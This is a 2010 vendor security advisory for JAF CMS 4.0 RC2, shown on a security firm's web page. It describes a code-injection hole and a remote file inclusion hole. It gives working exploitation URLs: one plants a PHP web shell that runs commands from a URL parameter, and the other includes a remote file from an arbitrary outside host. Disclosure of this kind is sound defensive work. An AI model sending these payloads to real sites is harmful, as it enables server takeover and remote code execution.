Total Tests:
Stay in Touch

Get exclusive updates and invitations to our events and webinars:


Your data will stay confidential Private and Confidential

Multiple Vulnerabilities in JAF CMS

Advisory ID:HTB22665
Product:JAF CMS
Vendor:JAF CMS
Vulnerable Versions:4.0 RC2 and probably prior
Tested Version:4.0 RC2
Advisory Publication:October 21, 2010 [without technical details]
Vendor Notification:October 21, 2010
Public Disclosure:November 4, 2010
Vulnerability Type:Code Injection [CWE-94]
PHP File Inclusion [CWE-98]
CVE Reference:CVE-2008-1609
Risk Level:Critical
CVSSv2 Base Scores:10 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
10 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in JAF CMS which could be exploited to compromise vulnerable system.

1) Remote code execution in JAF CMS
The vulnerability exists due to insufficient sanitation of input data in module/log/vislog.php. A remote attacker can create files with arbitrary contents within the web root directory and execute them with privileges of the webserver.
Exploitation example:
Creating a malicious file named 123.php:
http://[host]/module/log/vislog.php?_SERVER[%27PHP_SELF%27]=1&from=%3c%3f+sy stem(%24_GET%5b%27cmd%27 %5d)%3b+%3f%3e&root=../../123.php%00
Executing arbitrary commands:
http://[host]/123.php?cmd=ls

2) Remote file inclusion vulnerability in JAF CMS
Input passed to the “website” parameter in module/forum/main.php and module/forum/forum.php is not properly sanitized before being used to include files. A remote attacker can include and execute php files from arbitrary locations. Successful exploitation requires that register_globals is set to On.
Exploitation example:
http://[host]/module/forum/main.php?website=http://any_host/any_file%00
htt p://[host]/module/forum/ forum.php?website=http://any_host/any_file%00

This vulnerability was independently discovered by XxX and it was assigned a CVE number CVE-2008-1609.

How to Detect Code Injection Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22665 - https://www.immuniweb.com/advisory/HTB22665 - Multiple Vulnerabilities in JAF CMS
[2] JAF CMS - http://sourceforge.net/projects/jaf-cms/ - JAF CMS - just another flat file CMS is a personal home-page oriented CMSs engine without database needed for small private sites.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential